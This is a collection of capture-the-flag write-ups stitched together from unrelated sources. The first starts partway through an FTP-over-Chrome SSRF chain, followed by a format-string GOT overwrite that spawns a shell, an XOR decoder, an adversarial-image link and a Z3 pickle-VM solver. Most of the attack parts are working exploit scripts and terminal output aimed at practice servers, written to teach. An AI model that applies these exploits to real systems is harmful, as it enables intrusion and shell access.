self._initiateData(function(sock) { callback(sock); }); } }};``` When we enter this function for the first time ( after sending the `RETR` command ), Both `self.dataListener` and `self.dataSocket` are undefined, so a new socket will be created with calling `self._initiateData` function. The second time we enter this function ( after sending the `STOR` command ), `self.dataSocket` is defined, because the `RETR` command is still writing that huge data, so the `STOR` command will use the same socket! Now that we know why it happens, we can replace that requests with newlines and it will still work! ```jsPAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" + "\n" * 100000```#### Sending all commands without any delay As you can see in the above scripts, after sending each command, we wait for the server's response, and then we send the next command. We can't do that in chrome afaik ?. According to writeups and [rfc354](https://datatracker.ietf.org/doc/html/rfc354) section IV paragraph one, CRLF can be used to terminate each command, so practically it should work. > FTP commands are ASCII terminated by the ASCIIcharacter sequence CRLF (Carriage Return follow by Line Feed). So Let's try to login ```pythonp = remote("127.0.0.1","8021")# Loginp.sendafter("\n",f"USER {USERNAME}\r\nPASS {PASSWORD}\r\n")p.interactive()``` ```parrot@ps:~/pwn/pwnyIDE$ ./rem.py [+] Opening connection to 127.0.0.1 on port 8021: Done[*] Switching to interactive mode530 Not logged in.```What? let's see FTP logs. ```<127.0.0.1> FTP command: USER meme1337PASS meme1337attempt user: meme1337PASS meme1337<127.0.0.1> >> 530 Not logged in.``` So apparently ftpd doesn't give a sh*t about rfc354 section IV paragraph one. It thinks that CRLF is part of the argument. Let's see how they handle each TCP packet's data. You can find the following function [here](https://github.com/nodeftpd/nodeftpd/blob/master/lib/FtpConnection.js#L235). ```jsFtpConnection.prototype._onData = function(data) { var self = this; if (self.hasQuit) { return; } data = data.toString('utf-8').trim(); self._logIf(LOG.TRACE, '<< ' + data); // Don't want to include passwords in logs. self._logIf(LOG.INFO, 'FTP command: ' + data.replace(/^PASS [\s\S]*$/i, 'PASS ***') ); var command; var commandArg; var index = data.indexOf(' '); if (index !== -1) { var parts = data.split(' '); command = parts.shift().toUpperCase(); commandArg = parts.join(' ').trim(); } else { command = data.toUpperCase(); commandArg = ''; }``` So what if we send each command in a separate packet? The maximum TCP packet size is around 64K and localhost's MTU is also around that number [nowadays](https://stackoverflow.com/questions/27431984/significance-of-mtu-for-loopback-interface). To do that, we can prefix our commands with around 65k spaces. It will work because of that `trim()` in the above function. ```jsdata = data.toString('utf-8').trim();``` Let's try it ```pyp = remote("127.0.0.1","8021")# LoginPRESPACES = " " * 66000p.sendafter("\n",f"{PRESPACES}USER {USERNAME} {PRESPACES}PASS {PASSWORD}\r\n")p.interactive()``` ```parrot@ps:~/pwn/pwnyIDE$ ./rem.py [+] Opening connection to 127.0.0.1 on port 8021: Done[*] Switching to interactive mode502 Command not implemented.331 User name okay, need password.230 User logged in, proceed.``` Worked! ## Attacking FTP from chrome This was my favorite part of#### Things we can't do The headlessChrome only visits URLs that match the following regexp. ```^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$``` Good news is that admin visits a page in which we can put arbitrary HTML inside it, Bad news is that the page is protected by a strict CSP. ```Content-Security-Policy: sandbox``` You can read more about it [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox). Basically, these two limitations make things complicated: - No Javascript- No redirection with meta tags #### What's the goal? We have to send a very long text with whitespaces and alphanumeric chars inside it to the FTP server without using JS. What an awesome challenge! #### attempt #1 - TLSPoison - Failed I first tried the [official implementation](https://github.com/jmdx/TLS-poison) and It was not even working with short payloads lol. Then i found [this](https://blog.zeddyu.info/2021/04/20/tls-poison/) blog. Since I didn't know anything about TLS stuff, I just ran the commands in readme ? and it didn't work either with large(>100k) payloads. #### Attempt #2 - Regexp is hard! - ??? My friend [renwa](https://twitter.com/renwax23) found this bug, Basically the bug is that the dots are not escaped. ```jsif (!/^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$/.test(req.body.url)) {```So we can just buy a .tf domain with $6.49 and earn $50 bounty from admin? > It was unintended btw ![](https://i.imgur.com/NYkXxQH.png) #### Attempt #3 - CSP report-uri directive - Failed This was my most promising failed attempt. You can read more about [report-uri here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri). Basically Mr.chrome puts the whole CSP in the report HTTP request, so we can put some strings after the CSP and it will be sent along with the report request to the target. ```jsconst express = require('express');const app = express();const port = 3000; app.get('/', (req, res) => { res.setHeader("Content-Security-Policy","script-src 'none'; report-uri http://localhost:9000/;"+"OH".repeat(50)); res.send('<script>LOL</script>');}) app.listen(port, () => {})``` ```parrot@ps:~$ nc -lvnp 9000Listening on 0.0.0.0 9000Connection received on 127.0.0.1 57642POST / HTTP/1.1Host: localhost:9000Connection: keep-aliveContent-Length: 462sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36Content-Type: application/csp-reportAccept: */*Origin: http://localhost:3000Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: reportReferer: http://localhost:3000/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9 {"csp-report":{"document-uri":"http://localhost:3000/","referrer":"","violated-directive":"script-src-elem","effective-directive":"script-src-elem","original-policy":"script-src 'none'; report-uri http://localhost:9000/;OHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOH","disposition":"enforce","blocked-uri":"inline","line-number":1,"source-file":"http://localhost:3000/","status-code":200,"script-sample":""}}``` But we are limited to 65k again Because of these limitations ? - Chrome doesn't send long reports. IDK why.- Headers length limit. #### Attempt #4 - Iframe CSP attribute - Succeeded While I was testing my failed attempts again, this attribute came to my mind. You can read more about it [here](https://w3c.github.io/webappsec-cspee/#required-csp-header). Basically, it will be placed in a request header called `Sec-Required-CSP`. ```html<body><iframe src="http://localhost:4000/" csp="LMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAO"></iframe></body>``` ```parrot@ps:~$ nc -lvnp 4000Listening on 0.0.0.0 4000Connection received on 127.0.0.1 52802GET / HTTP/1.1Host: localhost:4000Connection: keep-alivesec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36Sec-Required-CSP: LMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9 ``` And the mind-blowing thing is that there is no strict length/syntax check?!Although it has some problems with some characters like commas in the policy But we can easily send long payloads inside it. ## Chaining all together Finally, we can execute arbitrary FTP commands! I replaced the `PORT` command with EPRT since it was acting weird in CSP. *Cleaned* Final exploit.```python#!/usr/bin/env python3from pwn import *import requests #Register with these creds manuallyaccount1 = "meme1337"account2 = "meme13371337"TARGET_IP = "127.0.0.1"TARGET_PORT = 1337PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" + "\n" * 100000 def saveFile(username,passwd,content): s = requests.session() # Login to website s.post(f"http://{TARGET_IP}:{TARGET_PORT}/login",data={"username":username,"password":passwd}) # Save the payload s.post(f"http://{TARGET_IP}:{TARGET_PORT}/save",files={"file":content}) return s.cookies.get_dict()["uid"][4:4+32] def pref(u): return(u+" "*66000) UID = saveFile(account1,account1,PAYLOAD)c = ""c+= pref("START")c+= pref(f"USER {account1}")c+= pref(f"PASS {account1}")c+= pref("EPRT |1|127.0.0.1|1337")c+= pref(f"RETR /files/{UID}/file")c+= pref(f"STOR /files/{UID}/file")c+= pref("END")c = f"<iframe src='http://localhost:8021' csp=';{c}'></iframe>" UID = saveFile(account2,account2,c)print(f"http://{TARGET_IP}:{TARGET_PORT}/workspace/{UID}") ``` Solved! > uiuctf{i_h0p3_th4t_waS_a_fUn_ch4In_75d997b} #### What was that tcpslow for? - Chrome closes the connection if it sees an invalid response. in this case the FTP greeting message- Chrome doesn't connect to port 21 because it's in [unsafe ports list](https://neo4j.com/developer/kb/list-of-restricted-ports-in-browsers/). ## The End of the journey Shout-out to my teammates, organizers, and especially [arxenix](https://twitter.com/ankursundara) for creating this challenge.
The link to the original is [here](https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/HackyHolidays_SpaceRace/engine_control/), please check it out there to see the downloadbles from the challenge and my solves as standalone python scripts. # Engine Control The overall description for the challenge is as follows: *These space engines are super powerful. Note: the .py file is merely used as a wrapper around the binary. We did not put any vulnerabilities in the wrapper (at least not on purpose). The binary is intentionally not provided, but here are some properties:*``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)``` You were able to download a C file and a .py file. This challenge actually included two parts, which I will be discussing separately. The first was relatively easy and worth 75 points, while the second was significantly more challenging and worth 300 points. Overall, this was a fun and creative pwn challenge that I would rate on the high end of medium difficulty for the category. **TL;DR Solution:** Solve part 1 by leaking the contents of addresses on the stack with the %s format specifier until you reach the environmental variables; the flag is stored in one of them. For part 2, write arbitrary addresses to the stack by carefully selecting stack addresses that are already present on the stack and that are also accessible with the format string vulnerability; you can use %n to then write arbitrary addresses to the stack. Then determine the likely location of GOT entries based on a locally-compiled version of the C code, dump and match the entries based on probable libc versions, and obtain a reliable libc leak. Then overwrite strcspn's GOT entry to the libc address of system, and pass in the string '/bin/sh' to get a shell. Since the python wrapper will still be filtering certain characters, use ${IFS} instead of spaces when issuing terminal commands to read the flag. ## General Information Gathering Firstly, we need to look at what information we have available. When we connect to the remote instance, we seem to have a very simple program that asks for user input, then echos it back:```knittingirl@piglet:~/CTF/hacky_holidays$ nc portal.hackazon.org 17003Command: aaaaaaaaaaaRunning command (aaaaaaaaaaa) now on engine.Command:```The C source code adds a few more details; the input is taken from the user with fgets, and it can be up to 200 characters in length. The line "printf(i)" also indicates that we are dealing with a format string vulnerability.```#include <stdlib.h>#include <stdio.h>#include <string.h> int main(void) { char i[200] = {0}; setbuf(stdout, 0); printf("\033[1mCommand: \033[0m"); while(fgets(i, 200, stdin)!=NULL) { i[strcspn(i,"\n")] = 0; if (strlen(i) > 0) { printf("Running command ("); printf(i); printf(") now on engine.\n"); } printf("\033[1mCommand: \033[0m"); }}```The Python wrapper also provides a key piece of information. Basically, if we attempt to send any non-ascii characters to the remote instance, the line "Invalid input." will be returned, and nothing will be accomplished. This is going to make many types of format string exploit strategy more difficult, since we won't be able to write most addresses into our input.```...while True: if not p.connected(): l.close() inp = str_input() if any(c not in string.ascii_letters + string.digits + string.punctuation for c in inp): l.sendline("Invalid input.") p.sendline() else: p.sendline(inp)``` My final note for this background section is that I would advise compiling the C source code locally to give yourself a test binary. I would recommend a compilation parameters something like "gcc engine.c -o engine_control -no-pie", which will at least give you checksec results like those provided. I also made the lucky guess of compiling it on an Ubuntu 18 VM, since that is a very common OS on which to run pwn challenges. This came in very handy later on. ## Part 1: Environmental Disaster The description for this specific section is as follows: *These new space engines don't have any regard for their environment. Hopefully you can find something useful.* *Flag format: CTF{32-hex}* ### Background and Strategy: There isn't anything in the source code suggesting some condition to be met in order to print off an alternative flag. However, the emphasis on environment in the challenge description and title seems significant, since environmental variables are sometimes used in binary exploitation, typically when you have access to the machine itself via ssh connection and can thereby store shellcode in one to execute during the exploit. Significantly, environmental variables are stored on the stack. Next, we can send a simple format string payload to the remote server in order to see what exactly is getting leaked from the stack. The python script looks like this:```from pwn import * target = remote('portal.hackazon.org', 17003) print(target.recvuntil(b'Command:')) payload = b'%p' * 100target.sendline(payload)payload = b'' print(target.recvuntil(b'Command:'))for i in range(100, 150): payload += b'%' + str(i).encode('ascii') + b'$p'target.sendline(payload)target.interactive()```And the result looks like this:```knittingirl@piglet:~/CTF/hacky_holidays$ python3 engine_control_writeup_1.py [+] Opening connection to portal.hackazon.org on port 17003: Doneb'\x1b[1mCommand:'b' \x1b[0mRunning command (0x7ffeae166d300x7f9026a748c0(nil)0x110x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x257025702570250x3b7cdb8b2d06fe000x7ffeae169590(nil)0x4008400x7f90266a8bf70x20000000000x7ffeae1695980x1000000000x400720(nil)0x644e6dbfdd6f19c80x4006100x7ffeae169590(nil)(nil)0x9bb33112e46f19c80x9b6e21eadab119c80x7ffe00000000(nil)(nil)0x7f9026a888d30x7f9026a6e6380x4e6cc(nil)(nil)(nil)0x4006100x7ffeae1695900x4006390x7ffeae1695880x1c0x10x7ffeae169e32(nil)0x7ffeae169e3b0x7ffeae169e4d0x7ffeae169e600x7ffeae169e760x7ffeae169e860x7ffeae169ec80x7ffeae169ee30x7ffeae169ef40x7ffeae169f130x7ffeae169f260x7ffeae169f350x7ffeae169f600x7ffeae169f6d0x7ffeae169f7a0x7ffeae169f900x7ffeae169fab0x7ffeae169fbf0x7ffeae169fda(nil)0x210x7ffeae1870000x100x178bfbff0x60x10000x110x640x30x4000400x40x380x50x90x70x7f9026a78000) now on engine.\n\x1b[1mCommand:'[*] Switching to interactive mode Running command (p) now on engine.Command: Running command (0x8(nil)0x90x4006100xb0x3e90xc0x3e90xd0x3e90xe0x3e90x17(nil)0x190x7ffeae1697890x1a(nil)0x1f0x7ffeae169fef0xf0x7ffeae169799(nil)(nil)(nil)0x7cdb8b2d06fe9e000xe43227369fe6f73b0x34365f3638788c(nil)(nil)(nil)(nil)(nil)%) now on engine.Command: Running command (133$p(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)) now on engine.Command: $ ```### Writing the Exploit Now, environmental variables, are located on the stack, and based on general familiarity with the typical stack base range in x86-64 binaries, the leaks starting with "0x7ffeae" are probably addresses on the stack. As a result, by using the %s specifier to read the contents pointed at by various addresses, we can check each one to see if it contains something interesting. The easiest way to accomplish this is to just write a for loop that will try out every address, and timeout if I'm attempting to access a string for a non-address. The script is this:``` from pwn import * for i in range(1, 130): target = remote('portal.hackazon.org', 17003) print(target.recvuntil(b'Command:')) payload = b'%' + str(i).encode('ascii') + b'$s' target.sendline(payload) print(target.recvuntil(b'Command:', timeout=1)) target.close()```And a relevant section of the resulting output is this:```[+] Opening connection to portal.hackazon.org on port 17003: Doneb'\x1b[1mCommand:'b' \x1b[0mRunning command (LC_ALL=en_US.UTF-8) now on engine.\n\x1b[1mCommand:'[*] Closed connection to portal.hackazon.org port 17003[+] Opening connection to portal.hackazon.org on port 17003: Doneb'\x1b[1mCommand:'b' \x1b[0mRunning command (PWD=/home/user) now on engine.\n\x1b[1mCommand:'[*] Closed connection to portal.hackazon.org port 17003[+] Opening connection to portal.hackazon.org on port 17003: Doneb'\x1b[1mCommand:'b' \x1b[0mRunning command (FLAG=CTF{5df83ee123b2541708d3913df8ee4081}) now on engine.\n\x1b[1mCommand:'[*] Closed connection to portal.hackazon.org port 17003[+] Opening connection to portal.hackazon.org on port 17003: Doneb'\x1b[1mCommand:'b' \x1b[0mRunning command (SOCAT_PID=347) now on engine.\n\x1b[1mCommand:'[*] Closed connection to portal.hackazon.org port 17003 ```As a result, the flag for this section is CTF{5df83ee123b2541708d3913df8ee4081}. It was accompanied by a wide variety of other environmental variable leaks. Now we can move on to the hard part! ## Part 2: Control the Engine: The description for this section is as follows: *Can you take control of the engine?* *Flag format: CTF{32-hex}* ### Background and Strategy: As a general rule of thumb, the way to get a full exploit with a format string vulnerability is to overwrite something; the simplest overwrite location is often GOT entries, which should be relatively simple since there is only partial RELRO and non PIE. For a more in-depth overview of why how the GOT works and why overwriting it helpful, see my writeup of Imaginary CTF's Speedrun challenge (https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/Imaginary_CTF/speedrun). #### Writing Addresses to the Stack However, there are some challenges to that approach with this specific challenge. Firstly, the python wrapper means that all of my user input must consist of printable ASCII characters. Typically, format string overwrites are performed by writing the address in bytes as part of the payload, carefully padding it out and calculating an offset, then leaking the contents and/or performing an overwrite. Most address will contain non-printable characters, hence the difficulty. Fortunately, there is an alternative strategy that I have seen applied on occasions when the user's input is stored on the heap, which would present a similar issue since in that case, you can't write to the stack at all. However, you will typically get some stack addresses within your format string leak that point to other locations on the stack; as a result, if we write an address to that offset, it will write to the stack in a spot we can access with the format string, and we will be able leak from or write to an arbitrary address. Finding such addresses requires some degree of trial and error, but here is an illustration of how it works. I ultimately found two spots that allowed for this type of write, one at offset 32 that wrote to offset 62, and one at offset 60 that wrote to 61. I found these offsets by using a combination of %s and %n on stack address offsets and noting changes. A simple python script to illustrate how this works is here:```from pwn import * target = remote('portal.hackazon.org', 17003) #Here is the before:print(target.recvuntil(b'Command:'))payload = b'%32$p%60$p%62$p%61$p'target.sendline(payload) #Writing to my first spotprint(target.recvuntil(b'Command:'))payload = b'%100x%32$n'target.sendline(payload) #Writing to my second spotprint(target.recvuntil(b'Command:'))payload = b'%120x%60$n'target.sendline(payload) #And the after:print(target.recvuntil(b'Command:'))payload = b'%32$p%60$p%62$p%61$p'target.sendline(payload) target.interactive()```And here is the terminal result. Please note that the hex equivalent of 100 is 0x60, and the hex equivalent of 120 is 0x78.```knittingirl@piglet:~/CTF/hacky_holidays$ python3 engine_control_writeup_2.py [+] Opening connection to portal.hackazon.org on port 17003: Doneb'\x1b[1mCommand:'b' \x1b[0mRunning command (0x7ffffab518700x7ffffab518680x10x1c) now on engine.\n\x1b[1mCommand:'b' \x1b[0mRunning command ( fab4f010) now on engine.\n\x1b[1mCommand:'b' \x1b[0mRunning command ( fab4f010) now on engine.\n\x1b[1mCommand:'[*] Switching to interactive mode Running command (0x7ffffab518700x7ffffab518680x640x78) now on engine.Command: $``` Before moving on, I will briefly note that with this method, it is only really possible to write relatively small addresses to the stack, although there may be additional workarounds for this issue. This is because the %x trick is time-consuming as numbers grow larger, which is why typical format string overwrites break the process into smaller chunks. Fortunately, I only needed to write to GOT addresses in this case, and in a non-PIE, x86-64 binary, these are sufficiently small to end in a reasonable period of time. #### So Where are these GOT Addresses? Since this challenge did not grant us access to the actual binary, we don't really know for sure where the GOT entries are, particularly in terms of which offsets correspond to which functions. We can, however, make some educated guesses based on our locally-compiled binary (on Ubuntu 18.04). The GOT table shown here shows entries ranging from 0x601018 to 0x601040. ```gef➤ got GOT protection: Partial RelRO | GOT functions: 6 [0x601018] puts@GLIBC_2.2.5 → 0x7fd70b6a8aa0[0x601020] __stack_chk_fail@GLIBC_2.4 → 0x4005c6[0x601028] setbuf@GLIBC_2.2.5 → 0x7fd70b6b05a0[0x601030] printf@GLIBC_2.2.5 → 0x7fd70b68cf70[0x601038] strcspn@GLIBC_2.2.5 → 0x7fd70b7b1fb0[0x601040] fgets@GLIBC_2.2.5 → 0x7fd70b6a6c00 ```Now, an experiment with libc database search and leaking contents at those offsets directly showed that while this general area definitely seems to contain GOT entries, they did not seem to correspond perfectly with the order of functions in my local binary. At this point, I took inspiration from a specific LiveOverflow video (see here for full details https://www.youtube.com/watch?v=XuzuFUGuQv0), and basically attempted to leak out the full binary, or at least the code section, through my format string exploit. It didn't really work in terms of deriving a correct GOT table, so I won't go into it in too much detail here, but if you want to try it, just modify the approach I will describe below to start at the beginning of the code section, go on a lot longer, and write the results to a binary file. Binary Ninja Cloud is the only thing I've found that can even try to disassemble the results. However, this process did give me an alternative idea. Based on the bounds in which my GOT entries should exist, I can just leak them all at once, relatively efficiently. Basically, the idea is to create a while loop starting at the beginning of the GOT region. You leak the contents of the address, write those contents plus a null byte (strings are null-terminated!) to a variable you're appending to, iterate i up by the length of this write, then overwrite the low byte of the address to the current value of i in order to check the next relevant address.```from pwn import * target = remote('portal.hackazon.org', 17003) #Be patient!print(target.recvuntil(b'Command:'))payload = b'%' + str(0x601000).encode('ascii') + b'x%32$n'target.sendline(payload) #Check that the address worksprint(target.recvuntil(b'Command:'))target.sendline(b'%62$p') got_leak = b'' i = 0while i < 0xa0: print(target.recvuntil(b'Command:')) target.sendline(b'%62$s') print(target.recvuntil(b'command (')) result = target.recvuntil(b') now').replace(b') now', b'') print(result) got_leak += result + b'\x00' i = i + len(result) + 1 payload = b'%' + str(i).encode('ascii') + b'x%32$hhn' target.sendline(payload) print(target.recvuntil(b'Command:')) print('My leaked got_leak is', got_leak)```The leaked GOT section is here:```My leaked got_leak is b'\xa0\xeaZ\xa6\xd1\x7f\x00\xb6\x05@\x00\x00\x00\x00\x00\x00\xa0e[\xa6\xd1\x7f\x00\x00p/Y\xa6\xd1\x7f\x00\x00\xb0\x7fk\xa6\xd1\x7f\x00\x00\x10\xfbT\xa6\xd1\x7f\x00\x00\x00\xccZ\xa6\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\xa7\x91\xa6\xd1\x7f\x00\x00\x00\x9a\x91\xa6\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'[*] Switching to interactive mode ```Now we can unpack the addresses that look like libc leaks and attempt to derive libc version and specific entry addresses. This turned out to be easier than I had expected. When I unpacked '\xa0e[\xa6\xd1\x7f\x00\x00', at 0x601010, I got a hex value of 0x7fd1a65b65a0. Those last three digits are actually familiar from the GOT entries in my locally-compiled binary; it correspond with the setbuf function for the local library. In total, I derived the locations of four GOT entries with a high degree of confidence:```fgets_got_plt = 0x601030 strcspn_got_plt = 0x601020printf_got_plt = 0x601018setbuf_got_plt = 0x601010```The relevant library can be downloaded from here: https://libc.blukat.me/?q=fgets%3Ac00%2Csetbuf%3A5a0%2Cprintf%3Af70 If you did not happen to debug on exactly the correct version of Ubuntu, it still would have been relatively easy to derive the correct version and offsets by testing libc addresses against each of the possible GOT functions until you made a plausible match. ### Writing the Exploit With this information, we have the basis of a strong exploit. We know where the GOT entries are, and we are able to write to them and leak libc addresses from them. I will note right now that I struggled to make a onegadget work with as an overwrite to a GOT entry, so instead, I went the route of picking a function to overwrite where I would be able to pick the first parameter when it got called, allowing the execution of system(/bin/sh). If we revisit the C code, it looks like strcspn should work nicely, since it is called on the string input that is input immediately beforehand with fgets.```#include <stdlib.h>#include <stdio.h>#include <string.h> int main(void) { char i[200] = {0}; setbuf(stdout, 0); printf("\033[1mCommand: \033[0m"); while(fgets(i, 200, stdin)!=NULL) { i[strcspn(i,"\n")] = 0; if (strlen(i) > 0) { printf("Running command ("); printf(i); printf(") now on engine.\n"); } printf("\033[1mCommand: \033[0m"); }}```Eventually, I was able to put all of this together into a single exploit script.```from pwn import * target = remote('portal.hackazon.org', 17003) libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")# 0x7ff1dbc4d432#Gadgets:fgets_got_plt = 0x601030 #Note that it ends in a null, so not a great traditional leak.strcspn_got_plt = 0x601020printf_got_plt = 0x601018setbuf_got_plt = 0x601010 print(target.recvuntil(b'Command:'))payload = b'%p' * 100target.sendline(payload) print(target.recvuntil(b'Command:')) payload = b'%' + str(strcspn_got_plt).encode('ascii') + b'x%60$n' + b'%32$n'target.sendline(payload) print(target.recvuntil(b'Command:'))payload = b'%61$s'target.sendline(payload)print(target.recvuntil(b'engine')) print(target.recvuntil(b'command ('))result = target.recvuntil(b') now')print(result) leak = result.replace(b') now', b'')print(leak) strcspn_libc = u64(leak + b'\x00' * (8-len(leak)))print(hex(strcspn_libc)) #For some reason the offset of strcspn is a bit dodgy, using printf as a middleman was easiest.printf_libc = strcspn_libc - 0x125040print('printf libc is', hex(printf_libc))libc_base = printf_libc - libc.symbols["printf"]system = libc_base + libc.symbols["system"]print("The system address is at", hex(system)) system_low_two = int(hex(system)[10:15], 16)system_next_two = int(hex(system)[6:10], 16) #This will let us overwrite the next lowest two bytes of strcspn's GOT entry.payload = b'%' + str(0x20 + 2).encode('ascii') + b'x%32$hhn' target.sendline(payload)print(target.recvuntil(b'Command'))payload = b'%' + str(system_low_two).encode('ascii') + b'x%61$hn'#This took some trial and error.if system_next_two > system_low_two: payload += b'%' + str(system_next_two - system_low_two).encode('ascii') + b'x%62$hn'else: payload += b'%' + str(0xffff - system_low_two + system_next_two + 1).encode('ascii') + b'x%62$hn' target.sendline(payload)print(target.recvuntil(b'Command'))target.sendline(b'/bin/sh') target.interactive() ```And the end of the terminal output looks like this:``` c52198c0) now on engine.Command: $ lsengine engine.py you_are_an_amazing_hacker.txt ```At this point, I had to deal with one final challenge. If I attempted the obvious in order to read the flag file, I got an "Invalid input" notice, since a space is one of the forbidden characters in the python wrapper.```$ cat you_are_an_amazing_hacker.txtInvalid input.```Fortunately, after some Googling, I found a workaround and was finally able to print the flag!```$ cat${IFS}you_are_an_amazing_hacker.txtCTF{4ffac46e926dcadeba7d365ff2b2a9af} ```Thanks a lot for reading this lengthy writeup!
```pythonc = bytes.fromhex('133f29027034094a33253126395b3704') key = [ord(plaintext)^char for plaintext, char in zip('RTL{', c[:4])] flag = ''for i in range(len(c)): flag += chr(c[i]^key[i % len(key)]) print(flag)```
Adversarial attack on an image classifier using the Fast Gradient Sign Method (FGSM) [**Full Writeup**](https://zeyu2001.gitbook.io/ctfs/2021/uiuctf-2021/pwnies_please)
# Pickled-onions ## overall idea:1- Disassembling a multi-layer pickle VM program. 2- Understand the control flow and create an automated parser to parse all the pickled objects to write a solver for the challenge (using Z3py). ## Short explanation: The source code is just loading a pickled object which is loading another object which is loading several other objects based on the flag checking routine. This means if the first check succeeded it jumps to the 2nd check otherwise it'll just `return 0` and print a fail message. We used `pickletools` to disassemble the objects --> static analysis FTW \o/! These articles [1](https://intoli.com/blog/dangerous-pickles/) [2](https://tjcsc.netlify.app/csc/writeups/angstromctf-2021-pickle) [list of opcodes spec](https://juliahub.com/docs/Pickle/LAUNc/0.1.0/opcode/) helped us understand the VM spec and the behaviour of the different opcodes. The flag checking routine is just a combinations of conditions between 2 chars of the flag picked "patternless" in every check function. Totally 250 checks done so 250 conditions that's why we used this automated solution to iterate over all the objects and add constraints to the solver automatically: ```pythonfrom z3 import *s = Solver() def jib_el_i(data): data = data[data.find("I")+1:] return int(data[:data.find("\\n")]) base = b"\x80\x04I102\nI108\nI97\nI103\nI123\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI65\nI125\n"def get_arguments(data): data = data.replace(base, "") lines = data.split("\\n") if lines[0].endswith("p0"): lines[0] = lines[0].replace(b"p0",b"") lines[1] = lines[1].replace(b"p1",b"") p0 = lines[0].count(b"0") p1 = lines[1].count(b"0") + p0 else: lines[0] = lines[0].replace(b"p1",b"") lines[1] = lines[1].replace(b"p0",b"") p1 = lines[0].count(b"0") p0 = lines[1].count(b"0") + p1 return (p0, p1) lines = open("final").read().strip().split("\n")flag = [] for i in range(64): flag.append(BitVec("a%i"%i, 8)) flag[0] == ord('f')flag[1] == ord('l')flag[2] == ord('a')flag[3] == ord('g') for line in lines: p0, p1 = get_arguments(line) if "pickledhorseradish" in line: i = jib_el_i(line) s.add( (flag[p0] + flag[p1]) == i) elif "pickledcoconut" in line: i = jib_el_i(line) s.add( (flag[p0] - flag[p1]) == i) elif "pickledlychee" in line: i = jib_el_i(line) s.add( (flag[p0] ^ flag[p1]) == i) elif "pickledcrabapple" in line: s.add(flag[p0] == flag[p1]) elif "pickledportabella" in line: s.add(flag[p0] != flag[p1]) elif "pickledquince" in line: s.add(flag[p0] <= flag[p1]) elif "pickledeasternmayhawthorn" in line: s.add(flag[p0] >= flag[p1]) flg = "" if s.check() == sat: modl = s.model() for i in range(64): flg += chr(modl[flag[i]].as_long()) print "flag: ",flg[::-1]else: print "NOT SOLVABLE"```
